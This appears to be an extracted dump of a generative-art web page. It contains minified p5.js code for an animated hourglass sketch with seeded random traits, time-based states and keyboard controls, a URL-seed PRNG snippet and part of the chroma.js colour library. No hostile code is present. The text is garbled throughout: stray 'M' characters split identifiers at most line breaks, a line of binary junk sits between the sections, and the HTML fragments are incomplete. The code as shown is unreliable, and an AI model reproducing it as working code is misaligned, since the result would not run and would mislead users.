+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
-%-,%*)#*:->2(25,=8,:/'.*$,3+:;0H7-A-'16*7=.A
9/DD2K/(4>2L@3PA0G?/DF3O/'1I5SC5TM7Z3)60)7
U<gP9^R:b4*4K6VE6WG7[
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
